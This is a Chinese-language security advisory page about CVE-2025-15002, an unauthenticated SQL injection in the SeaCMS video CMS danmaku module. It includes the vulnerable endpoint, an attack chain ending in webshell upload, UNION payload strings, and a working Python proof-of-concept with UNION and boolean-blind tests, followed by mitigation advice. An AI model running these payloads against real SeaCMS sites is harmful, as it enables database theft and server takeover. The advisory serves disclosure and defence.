IPBUF安全漏洞报告
English
CVE-2025-15002 CVSS 7.3 高危

SeaCMS 13.3及之前版本SQL注入漏洞(CVE-2025-15002)

披露日期: 2025-12-21

漏洞信息

漏洞编号
CVE-2025-15002
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SeaCMS

相关标签

SQL注入SeaCMSCVE-2025-15002高危漏洞远程代码执行无需认证Web应用安全视频点播系统数据库泄露

漏洞概述

SeaCMS是一套使用PHP和MySQL开发的专业视频点播CMS系统。该系统被广泛应用于搭建视频网站、在线影院等平台。2025年12月,安全研究人员发现SeaCMS 13.3及之前版本中存在严重的SQL注入漏洞。漏洞位于视频点播模块的弹幕库功能中,具体涉及js/player/dmplayer/dmku/class/mysqli.class.php文件。该文件在处理用户提交的page和limit参数时,未对输入进行充分的过滤和参数化查询,直接拼接到SQL语句中,导致远程攻击者可以在无需认证的情况下利用此漏洞获取数据库敏感信息,包括用户账号、密码哈希等。漏洞CVSS评分为7.3,属于高危漏洞,攻击复杂度低且无需用户交互,危害性较大。该漏洞已公开披露,野外部署的SeaCMS系统可能已面临攻击风险。

技术细节

漏洞根源在于SeaCMS的弹幕库模块对用户输入参数page和limit缺乏有效的安全过滤。攻击者可以通过构造恶意的SQL语句片段作为参数值,例如在page参数中注入UNION SELECT语句或布尔型盲注payload。系统后端直接将这些未经验证的参数与SQL查询语句拼接执行,而非使用参数化查询或预编译语句。由于mysqli.class.php中的数据库操作类未对输入参数进行转义处理,攻击者可以突破SQL语法限制,执行任意数据库查询操作。成功利用此漏洞可实现以下攻击效果:1)通过UNION注入获取数据库中存储的用户信息、配置数据;2)通过布尔盲注或时间盲注推断数据库内容;3)在某些配置下可能进一步导致服务器被完全控制。建议使用参数化查询或ORM框架重构数据库操作代码,并对所有用户输入进行严格的类型检查和过滤。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或漏洞数据库发现SeaCMS系统,并识别出目标版本为13.3或更早版本。攻击者定位到弹幕库模块的mysqli.class.php文件。
STEP 2
步骤2:构造恶意请求
攻击者构造包含SQL注入payload的HTTP请求,在page或limit参数中注入UNION SELECT语句或盲注payload,如:1 UNION SELECT 1,2,3,4,5,user(),7,8,9,10--
STEP 3
步骤3:发送攻击请求
攻击者通过自动化工具(如sqlmap或自定义脚本)向目标系统的漏洞接口发送恶意请求。由于漏洞无需认证即可利用,攻击可直接发起。
STEP 4
步骤4:数据提取
根据注入类型,攻击者获取数据库返回的敏感信息。UNION注入可直接获取数据内容,盲注则通过响应差异推断数据。攻击者可提取用户表、管理员凭证等敏感信息。
STEP 5
步骤5:权限提升与持久化
获取管理员账号后,攻击者登录后台管理系统,通过后台功能进一步上传webshell,实现远程代码执行,最终完全控制服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15002 SQL Injection PoC for SeaCMS # Target: SeaCMS <= 13.3 # Vulnerability: SQL Injection in dmku/mysqli.class.php via page/limit parameters def exploit_sqli(target_url): """ SQL Injection exploitation via page parameter This PoC demonstrates extracting database version information """ # Target endpoint with vulnerable parameter vuln_url = f"{target_url}/js/player/dmplayer/dmku/class/mysqli.class.php" # SQL Injection payload - extracting database version # Using UNION-based injection to extract MySQL version payload = { 'action': 'list', # Assuming action parameter triggers the vulnerable function 'page': "1 UNION SELECT 1,2,3,4,5,@@version,7,8,9,10--", 'limit': '10' } print(f"[*] Target: {target_url}") print(f"[*] Exploiting SQL Injection in {vuln_url}") print(f"[*] Payload: {payload['page']}") try: response = requests.get(vuln_url, params=payload, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response length: {len(response.text)}") # Check for SQL error or data leakage if 'version' in response.text.lower() or 'mysql' in response.text.lower(): print(f"[!] Potential data leak detected in response") print(f"[+] Response snippet: {response.text[:500]}") else: print(f"[*] No obvious data leak - manual inspection required") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") def blind_sqli_test(target_url): """ Boolean-based blind SQL injection test Tests if the parameter is vulnerable by checking response differences """ base_url = f"{target_url}/js/player/dmplayer/dmku/class/mysqli.class.php" # Normal request normal_payload = {'action': 'list', 'page': '1', 'limit': '10'} # Malicious request - true condition true_payload = {'action': 'list', 'page': "1 AND 1=1", 'limit': '10'} # Malicious request - false condition false_payload = {'action': 'list', 'page': "1 AND 1=2", 'limit': '10'} try: resp_normal = requests.get(base_url, params=normal_payload, timeout=10) resp_true = requests.get(base_url, params=true_payload, timeout=10) resp_false = requests.get(base_url, params=false_payload, timeout=10) # If true and false responses differ, vulnerability likely exists if len(resp_true.text) != len(resp_false.text): print(f"[+] Blind SQLi confirmed - responses differ") print(f"[*] True condition length: {len(resp_true.text)}") print(f"[*] False condition length: {len(resp_false.text)}") else: print(f"[-] No clear blind SQLi indication") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_sqli(target) print("\n[*] Running blind SQLi test...") blind_sqli_test(target)

影响范围

SeaCMS <= 13.3

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过Web服务器配置(如Nginx/Apache)限制对dmku目录的访问,仅允许受信任的IP访问弹幕管理功能;2)使用ModSecurity等WAF规则临时屏蔽包含UNION、SELECT、AND等SQL关键词的可疑请求;3)对page和limit参数添加严格的数值类型验证,限制为正整数范围;4)临时关闭弹幕库功能,待官方修复后再启用;5)加强数据库监控,及时发现异常查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表